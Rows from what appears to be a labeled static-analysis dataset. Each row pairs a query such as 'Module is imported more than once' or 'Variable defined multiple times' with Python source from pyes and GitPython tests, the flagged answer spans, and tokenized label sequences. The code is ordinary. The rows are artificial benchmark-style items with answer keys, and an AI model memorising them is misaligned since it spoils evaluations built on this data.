"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "old", "\\u", "vars_", "=_", "list_", "(_", "replacements_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "replacements_", "=_", "list_", "(_", "replacements_", "._", "values_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "not_", "isinstance_", "(_", "replacements_", ",_", "(_", "tuple_", ",_", "list_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "'", "Optimize", "r", " ", "%", "s", " ", "ga", "ve", " ", "wrong", " ", "type", " ", "of", " ", "replace", "ment", ".", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Expect", "ed", " ", "list", " ", "or", " ", "tuple", ".", " ", "Got", " ", "%", "s", "'_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "lop", "t_", ",_", "replacements_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "old", "\\u", "vars_", ")_", "!=_", "len_", "(_", "replacements_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "Optimize", "r", " ", "%", "s", " ", "ga", "ve", " ", "wrong", " ", "number", " ", "of", " ", "replace", "ment", "s", "'_", "\\u\\u\\uNL\\u\\u\\u_", "%_", "lop", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Non", "e", " ", "in", " ", "the", " ", "replace", "ment", " ", "mean", " ", "tha", "t", " ", "this", " ", "variab", "le", " ", "isn", "'", "t", " ", "used_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "we", " ", "want", " ", "to", " ", "remove", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "r_", ",_", "rne", "w_", "in_", "zip_", "(_", "old", "\\u", "vars_", ",_", "replacements_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "rne", "w_", "is_", "None_", "and_", "len_", "(_", "r_", "._", "clients_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "A", " ", "local", " ", "optimize", "r", " ", "trie", "d", " ", "to", " ", "remove", " ", "a", " ", "Varia", "ble", " ", "tha", "t", " ", "is", " ", "used", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "an", " ", "output", " ", "wou", "ld", " ", "be", " ", "replaced", " ", "by", " ", "its", "elf", ",", " ", "no", " ", "need", " ", "to", " ", "perform_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "replacement_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "repl", "\\u", "pairs_", "=_", "[_", "(_", "r_", ",_", "rne", "w_", ")_", "for_", "r_", ",_", "rne", "w_", "in_", "zip_", "(_", "old", "\\u", "vars_", ",_", "replacements_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "rne", "w_", "is_", "not_", "r_", "and_", "rne", "w_", "is_", "not_", "None_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "repl", "\\u", "pairs_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fg", "raph_", "._", "replace", "\\u", "all", "\\u", "validate_", "(_", "repl", "\\u", "pairs_", ",_", "reason_", "=_", "lop", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "means", " ", "the", " ", "replace", "ment", "s", " ", "wer", "e", " ", "reject", "ed", " ", "by", " ", "the", " ", "fg", "raph", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "not", " ", "supposed", " ", "to", " ", "happ", "en", ".", " ", " ", "The", " ", "default", " ", "fail", "ure", "\\u", "callback_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "will", " ", "print", " ", "a", " ", "traceback", " ", "as", " ", "a", " ", "warn", "ing", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "fail", "ure", "\\u", "callback_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail", "ure", "\\u", "callback_", "(_", "e_", ",_", "self_", ",_", "repl", "\\u", "pairs_", ",_", "lop", "t_", ",_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Navigat", "or", "Optimizer_", "(_", "Optimizer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "requirements_", "(_", "self_", ",_", "fg", "raph_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Navigat", "or", "Optimizer_", ",_", "self_", ")_", "._", "add", "\\u", "requirements_", "(_", "fg", "raph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Added", " ", "by", " ", "default_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "fg", "raph", ".", "attach", "\\u", "feature", "(", "toolb", "ox", ".", "Replace", "Validate", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "local", "\\u", "opt_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "local", "\\u", "opt_", "._", "add", "\\u", "requirements_", "(_", "fg", "raph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Navigat", "or", "Optimizer_", "(_", "Optimizer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "print", "\\u", "summary_", "(_", "self_", ",_", "stream_", "=_", "sys_", "._", "stdout_", ",_", "level_", "=_", "0_", ",_", "depth_", "=_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"%", "s", "%", "s", " ", "(%", "i", ")\"_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", " ", "'_", "*_", "level_", ")_", ",_", "self_", "._", "\\u\\u", "class\\u\\u_", "._", "\\u\\u", "name\\u\\u_", ",_", "id_", "(_", "self_", ")_", ")_", ",_", "file_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "depth_", "!=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "local", "\\u", "opt_", "._", "print", "\\u", "summary_", "(_", "stream_", ",_", "level_", "=_", "(_", "level_", "+_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "depth_", "=_", "(_", "depth_", "-_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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more than once
aparo/pyes/tests/test_percolator.py
[ { "content": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nimport unittest\nfrom pyes.tests import ESTestCase\nfrom pyes.query import *\nimport unittest\n\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import unittest", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 15 } ]
[ { "span": "import unittest", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 15 } ]
1
true
[ "[CLS]_", "Module_", "is_", "imported_", "more_", "than_", "once_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "abs", "olute", "\\u", "import_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pye", "s_", "._", "tests_", "import_", "EST", "est", "Case_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pye", "s_", "._", "query_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unittest_", "._", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
gitpython-developers/GitPython/git/test/test_refs.py
[ { "content": " @with_rw_repo('0.1.6')\n def test_head_reset(self, rw_repo):\n cur_head = rw_repo.head\n old_head_commit = cur_head.commit\n new_head_commit = cur_head.ref.commit.parents[0]\n cur_head.reset(new_head_commit, index=True) # index only\n assert cur_head.reference.commit == new_head_commit\n\n self.failUnlessRaises(ValueError, cur_head.reset, new_head_commit, index=False, working_tree=True)\n new_head_commit = new_head_commit.parents[0]\n cur_head.reset(new_head_commit, index=True, working_tree=True) # index + wt\n assert cur_head.reference.commit == new_head_commit\n\n # paths - make sure we have something to do\n rw_repo.index.reset(old_head_commit.parents[0])\n cur_head.reset(cur_head, paths=\"test\")\n cur_head.reset(new_head_commit, paths=\"lib\")\n # hard resets with paths don't work, its all or nothing\n self.failUnlessRaises(GitCommandError, cur_head.reset, new_head_commit, working_tree=True, paths=\"lib\")\n\n # we can do a mixed reset, and then checkout from the index though\n cur_head.reset(new_head_commit)\n rw_repo.index.checkout([\"lib\"], force=True)\n\n # now that we have a write write repo, change the HEAD reference - its\n # like git-reset --soft\n heads = rw_repo.heads\n assert heads\n for head in heads:\n cur_head.reference = head\n assert cur_head.reference == head\n assert isinstance(cur_head.reference, Head)\n assert cur_head.commit == head.commit\n assert not cur_head.is_detached\n # END for each head\n\n # detach\n active_head = heads[0]\n curhead_commit = active_head.commit\n cur_head.reference = curhead_commit\n assert cur_head.commit == curhead_commit\n assert cur_head.is_detached\n self.failUnlessRaises(TypeError, getattr, cur_head, \"reference\")\n\n # tags are references, hence we can point to them\n some_tag = rw_repo.tags[0]\n cur_head.reference = some_tag\n assert not cur_head.is_detached\n assert cur_head.commit == some_tag.commit\n assert isinstance(cur_head.reference, TagReference)\n\n # put HEAD back to a real head, otherwise everything else fails\n cur_head.reference = active_head\n\n # type check\n self.failUnlessRaises(ValueError, setattr, cur_head, \"reference\", \"that\")\n\n # head handling\n commit = 'HEAD'\n prev_head_commit = cur_head.commit\n for count, new_name in enumerate((\"my_new_head\", \"feature/feature1\")):\n actual_commit = commit + \"^\" * count\n new_head = Head.create(rw_repo, new_name, actual_commit)\n assert new_head.is_detached\n assert cur_head.commit == prev_head_commit\n assert isinstance(new_head, Head)\n # already exists, but has the same value, so its fine\n Head.create(rw_repo, new_name, new_head.commit)\n\n # its not fine with a different value\n self.failUnlessRaises(OSError, Head.create, rw_repo, new_name, new_head.commit.parents[0])\n\n # force it\n new_head = Head.create(rw_repo, new_name, actual_commit, force=True)\n old_path = new_head.path\n old_name = new_head.name\n\n assert new_head.rename(\"hello\").name == \"hello\"\n assert new_head.rename(\"hello/world\").name == \"hello/world\"\n assert new_head.rename(old_name).name == old_name and new_head.path == old_path\n\n # rename with force\n tmp_head = Head.create(rw_repo, \"tmphead\")\n self.failUnlessRaises(GitCommandError, tmp_head.rename, new_head)\n tmp_head.rename(new_head, force=True)\n assert tmp_head == new_head and tmp_head.object == new_head.object\n\n logfile = RefLog.path(tmp_head)\n assert os.path.isfile(logfile)\n Head.delete(rw_repo, tmp_head)\n # deletion removes the log as well\n assert not os.path.isfile(logfile)\n heads = rw_repo.heads\n assert tmp_head not in heads and new_head not in heads\n # force on deletion testing would be missing here, code looks okay though ;)\n # END for each new head name\n self.failUnlessRaises(TypeError, RemoteReference.create, rw_repo, \"some_name\")\n\n # tag ref\n tag_name = \"5.0.2\"\n light_tag = TagReference.create(rw_repo, tag_name)\n self.failUnlessRaises(GitCommandError, TagReference.create, rw_repo, tag_name)\n light_tag = TagReference.create(rw_repo, tag_name, \"HEAD~1\", force=True)\n assert isinstance(light_tag, TagReference)\n assert light_tag.name == tag_name\n assert light_tag.commit == cur_head.commit.parents[0]\n assert light_tag.tag is None\n\n # tag with tag object\n other_tag_name = \"releases/1.0.2RC\"\n msg = \"my mighty tag\\nsecond line\"\n obj_tag = TagReference.create(rw_repo, other_tag_name, message=msg)\n assert isinstance(obj_tag, TagReference)\n assert obj_tag.name == other_tag_name\n assert obj_tag.commit == cur_head.commit\n assert obj_tag.tag is not None\n\n TagReference.delete(rw_repo, light_tag, obj_tag)\n tags = rw_repo.tags\n assert light_tag not in tags and obj_tag not in tags\n\n # remote deletion\n remote_refs_so_far = 0\n remotes = rw_repo.remotes\n assert remotes\n for remote in remotes:\n refs = remote.refs\n\n # If a HEAD exists, it must be deleted first. Otherwise it might\n # end up pointing to an invalid ref it the ref was deleted before.\n remote_head_name = \"HEAD\"\n if remote_head_name in refs:\n RemoteReference.delete(rw_repo, refs[remote_head_name])\n del(refs[remote_head_name])\n # END handle HEAD deletion\n\n RemoteReference.delete(rw_repo, *refs)\n remote_refs_so_far += len(refs)\n for ref in refs:\n assert ref.remote_name == remote.name\n # END for each ref to delete\n assert remote_refs_so_far\n\n for remote in remotes:\n # remotes without references throw\n self.failUnlessRaises(AssertionError, getattr, remote, 'refs')\n # END for each remote\n\n # change where the active head points to\n if cur_head.is_detached:\n cur_head.reference = rw_repo.heads[0]\n\n head = cur_head.reference\n old_commit = head.commit\n head.commit = old_commit.parents[0]\n assert head.commit == old_commit.parents[0]\n assert head.commit == cur_head.commit\n head.commit = old_commit\n\n # setting a non-commit as commit fails, but succeeds as object\n head_tree = head.commit.tree\n self.failUnlessRaises(ValueError, setattr, head, 'commit', head_tree)\n assert head.commit == old_commit # and the ref did not change\n # we allow heds to point to any object\n head.object = head_tree\n assert head.object == head_tree\n # cannot query tree as commit\n self.failUnlessRaises(TypeError, getattr, head, 'commit')\n\n # set the commit directly using the head. This would never detach the head\n assert not cur_head.is_detached\n head.object = old_commit\n cur_head.reference = head.commit\n assert cur_head.is_detached\n parent_commit = head.commit.parents[0]\n assert cur_head.is_detached\n cur_head.commit = parent_commit\n assert cur_head.is_detached and cur_head.commit == parent_commit\n\n cur_head.reference = head\n assert not cur_head.is_detached\n cur_head.commit = parent_commit\n assert not cur_head.is_detached\n assert head.commit == parent_commit\n\n # test checkout\n active_branch = rw_repo.active_branch\n for head in rw_repo.heads:\n checked_out_head = head.checkout()\n assert checked_out_head == head\n # END for each head to checkout\n\n # checkout with branch creation\n new_head = active_branch.checkout(b=\"new_head\")\n assert active_branch != rw_repo.active_branch\n assert new_head == rw_repo.active_branch\n\n # checkout with force as we have a changed a file\n # clear file\n open(new_head.commit.tree.blobs[-1].abspath, 'w').close()\n assert len(new_head.commit.diff(None))\n\n # create a new branch that is likely to touch the file we changed\n far_away_head = rw_repo.create_head(\"far_head\", 'HEAD~100')\n self.failUnlessRaises(GitCommandError, far_away_head.checkout)\n assert active_branch == active_branch.checkout(force=True)\n assert rw_repo.head.reference != far_away_head\n\n # test reference creation\n partial_ref = 'sub/ref'\n full_ref = 'refs/%s' % partial_ref\n ref = Reference.create(rw_repo, partial_ref)\n assert ref.path == full_ref\n assert ref.object == rw_repo.head.commit\n\n self.failUnlessRaises(OSError, Reference.create, rw_repo, full_ref, 'HEAD~20')\n # it works if it is at the same spot though and points to the same reference\n assert Reference.create(rw_repo, full_ref, 'HEAD').path == full_ref\n Reference.delete(rw_repo, full_ref)\n\n # recreate the reference using a full_ref\n ref = Reference.create(rw_repo, full_ref)\n assert ref.path == full_ref\n assert ref.object == rw_repo.head.commit\n\n # recreate using force\n ref = Reference.create(rw_repo, partial_ref, 'HEAD~1', force=True)\n assert ref.path == full_ref\n assert ref.object == rw_repo.head.commit.parents[0]\n\n # rename it\n orig_obj = ref.object\n for name in ('refs/absname', 'rela_name', 'feature/rela_name'):\n ref_new_name = ref.rename(name)\n assert isinstance(ref_new_name, Reference)\n assert name in ref_new_name.path\n assert ref_new_name.object == orig_obj\n assert ref_new_name == ref\n # END for each name type\n\n # References that don't exist trigger an error if we want to access them\n self.failUnlessRaises(ValueError, getattr, Reference(rw_repo, \"refs/doesntexist\"), 'commit')\n\n # exists, fail unless we force\n ex_ref_path = far_away_head.path\n self.failUnlessRaises(OSError, ref.rename, ex_ref_path)\n # if it points to the same commit it works\n far_away_head.commit = ref.commit\n ref.rename(ex_ref_path)\n assert ref.path == ex_ref_path and ref.object == orig_obj\n assert ref.rename(ref.path).path == ex_ref_path # rename to same name\n\n # create symbolic refs\n symref_path = \"symrefs/sym\"\n symref = SymbolicReference.create(rw_repo, symref_path, cur_head.reference)\n assert symref.path == symref_path\n assert symref.reference == cur_head.reference\n\n self.failUnlessRaises(OSError, SymbolicReference.create, rw_repo, symref_path, cur_head.reference.commit)\n # it works if the new ref points to the same reference\n SymbolicReference.create(rw_repo, symref.path, symref.reference).path == symref.path\n SymbolicReference.delete(rw_repo, symref)\n # would raise if the symref wouldn't have been deletedpbl\n symref = SymbolicReference.create(rw_repo, symref_path, cur_head.reference)\n\n # test symbolic references which are not at default locations like HEAD\n # or FETCH_HEAD - they may also be at spots in refs of course\n symbol_ref_path = \"refs/symbol_ref\"\n symref = SymbolicReference(rw_repo, symbol_ref_path)\n assert symref.path == symbol_ref_path\n symbol_ref_abspath = os.path.join(rw_repo.git_dir, symref.path)\n\n # set it\n symref.reference = new_head\n assert symref.reference == new_head\n assert os.path.isfile(symbol_ref_abspath)\n assert symref.commit == new_head.commit\n\n for name in ('absname', 'folder/rela_name'):\n symref_new_name = symref.rename(name)\n assert isinstance(symref_new_name, SymbolicReference)\n assert name in symref_new_name.path\n assert symref_new_name.reference == new_head\n assert symref_new_name == symref\n assert not symref.is_detached\n # END for each ref\n\n # create a new non-head ref just to be sure we handle it even if packed\n Reference.create(rw_repo, full_ref)\n\n # test ref listing - assure we have packed refs\n rw_repo.git.pack_refs(all=True, prune=True)\n heads = rw_repo.heads\n assert heads\n assert new_head in heads\n assert active_branch in heads\n assert rw_repo.tags\n\n # we should be able to iterate all symbolic refs as well - in that case\n # we should expect only symbolic references to be returned\n for symref in SymbolicReference.iter_items(rw_repo):\n assert not symref.is_detached\n\n # when iterating references, we can get references and symrefs\n # when deleting all refs, I'd expect them to be gone ! Even from\n # the packed ones\n # For this to work, we must not be on any branch\n rw_repo.head.reference = rw_repo.head.commit\n deleted_refs = set()\n for ref in Reference.iter_items(rw_repo):\n if ref.is_detached:\n ref.delete(rw_repo, ref)\n deleted_refs.add(ref)\n # END delete ref\n # END for each ref to iterate and to delete\n assert deleted_refs\n\n for ref in Reference.iter_items(rw_repo):\n if ref.is_detached:\n assert ref not in deleted_refs\n # END for each ref\n\n # reattach head - head will not be returned if it is not a symbolic\n # ref\n rw_repo.head.reference = Head.create(rw_repo, \"master\")\n\n # At least the head should still exist\n assert os.path.isfile(os.path.join(rw_repo.git_dir, 'HEAD'))\n refs = list(SymbolicReference.iter_items(rw_repo))\n assert len(refs) == 1\n\n # test creation of new refs from scratch\n for path in (\"basename\", \"dir/somename\", \"dir2/subdir/basename\"):\n # REFERENCES\n ############\n fpath = Reference.to_full_path(path)\n ref_fp = Reference.from_path(rw_repo, fpath)\n assert not ref_fp.is_valid()\n ref = Reference(rw_repo, fpath)\n assert ref == ref_fp\n\n # can be created by assigning a commit\n ref.commit = rw_repo.head.commit\n assert ref.is_valid()\n\n # if the assignment raises, the ref doesn't exist\n Reference.delete(ref.repo, ref.path)\n assert not ref.is_valid()\n self.failUnlessRaises(ValueError, setattr, ref, 'commit', \"nonsense\")\n assert not ref.is_valid()\n\n # I am sure I had my reason to make it a class method at first, but\n # now it doesn't make so much sense anymore, want an instance method as well\n # See http://byronimo.lighthouseapp.com/projects/51787-gitpython/tickets/27\n Reference.delete(ref.repo, ref.path)\n assert not ref.is_valid()\n\n ref.object = rw_repo.head.commit\n assert ref.is_valid()\n\n Reference.delete(ref.repo, ref.path)\n assert not ref.is_valid()\n self.failUnlessRaises(ValueError, setattr, ref, 'object', \"nonsense\")\n assert not ref.is_valid()\n\n # END for each path", "metadata": "root.TestRefs.test_head_reset", "header": "['class', 'TestRefs', '(', 'TestBase', ')', ':', '___EOS___']", "index": 178 } ]
[ { "span": "light_tag ", "start_line": 278, "start_column": 8, "end_line": 278, "end_column": 17 }, { "span": "symref ", "start_line": 441, "start_column": 8, "end_line": 441, "end_column": 14 } ]
[ { "span": "light_tag ", "start_line": 280, "start_column": 8, "end_line": 280, "end_column": 17 }, { "span": "symref ", "start_line": 446, "start_column": 8, "end_line": 446, "end_column": 14 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Test", "Refs", "_", "(_", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "with", "\\u", "rw", "\\u", "repo_", "(_", "'", "0.", "1.6", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "head", "\\u", "reset_", "(_", "self_", ",_", "rw", "\\u", "repo_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cur", "\\u", "head_", "=_", "rw", "\\u", "repo_", "._", "head_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "\\u", "head", "\\u", "commit_", "=_", "cur", "\\u", "head_", "._", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "head", "\\u", "commit_", "=_", "cur", "\\u", "head_", "._", "ref_", "._", "commit_", "._", "parents_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur", "\\u", "head_", "._", "reset_", "(_", "new", "\\u", "head", "\\u", "commit_", ",_", "index_", "=_", "True_", ")_", "#", " ", "index", " ", "only_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "cur", "\\u", "head_", "._", "reference_", "._", "commit_", "==_", "new", "\\u", "head", "\\u", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "Value", "Error_", ",_", "cur", "\\u", "head_", "._", "reset_", ",_", "new", "\\u", "head", "\\u", "commit_", ",_", "index_", "=_", "False_", ",_", "working", "\\u", "tree_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "head", "\\u", "commit_", "=_", "new", "\\u", "head", "\\u", "commit_", "._", "parents_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur", "\\u", "head_", "._", "reset_", "(_", "new", "\\u", "head", "\\u", "commit_", ",_", "index_", "=_", "True_", ",_", "working", "\\u", "tree_", "=_", "True_", ")_", "#", " ", "index", " ", "+", " ", "wt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "cur", "\\u", "head_", "._", "reference_", "._", "commit_", "==_", "new", "\\u", "head", "\\u", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "path", "s", " ", "-", " ", "make", " ", "sure", " ", "we", " ", "have", " ", "somet", "hing", " ", "to", " ", "do_", "\\u\\u\\uNL\\u\\u\\u_", "rw", "\\u", "repo_", "._", "index_", "._", "reset_", "(_", "old", "\\u", "head", "\\u", "commit_", "._", "parents_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur", "\\u", "head_", "._", "reset_", "(_", "cur", "\\u", "head_", ",_", "paths_", "=_", "\"", "test", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur", "\\u", "head_", "._", "reset_", "(_", "new", "\\u", "head", "\\u", "commit_", ",_", "paths_", "=_", "\"", "lib", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "hard", " ", "reset", "s", " ", "with", " ", "path", "s", " ", "don", "'", "t", " ", "work", ",", " ", "its", " ", "all", " ", "or", " ", "nothing_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "Git", "Command", "Error_", ",_", "cur", "\\u", "head_", "._", "reset_", ",_", "new", "\\u", "head", "\\u", "commit_", ",_", "working", "\\u", "tree_", "=_", "True_", ",_", "paths_", "=_", "\"", "lib", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "can", " ", "do", " ", "a", " ", "mixed", " ", "reset", ",", " ", "and", " ", "then", " ", "check", "out", " ", "from", " ", "the", " ", "index", " ", "tho", "ugh", "_", "\\u\\u\\uNL\\u\\u\\u_", "cur", "\\u", "head_", "._", "reset_", "(_", "new", "\\u", "head", "\\u", "commit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rw", "\\u", "repo_", "._", "index_", "._", "checkout_", "(_", "[_", "\"", "lib", "\"_", "]_", ",_", "force_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "now", " ", "tha", "t", " ", "we", " ", "have", " ", "a", " ", "write", " ", "write", " ", "repo", ",", " ", "change", " ", "the", " ", "HEAD", " ", "reference", " ", "-", " ", "its_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "like", " ", "git", "-", "reset", " ", "--", "soft", "_", "\\u\\u\\uNL\\u\\u\\u_", "heads_", "=_", "rw", "\\u", "repo_", "._", "heads_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "heads_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "head_", "in_", "heads_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cur", "\\u", "head_", "._", "reference_", "=_", "head_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "cur", "\\u", "head_", "._", "reference_", "==_", "head_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", 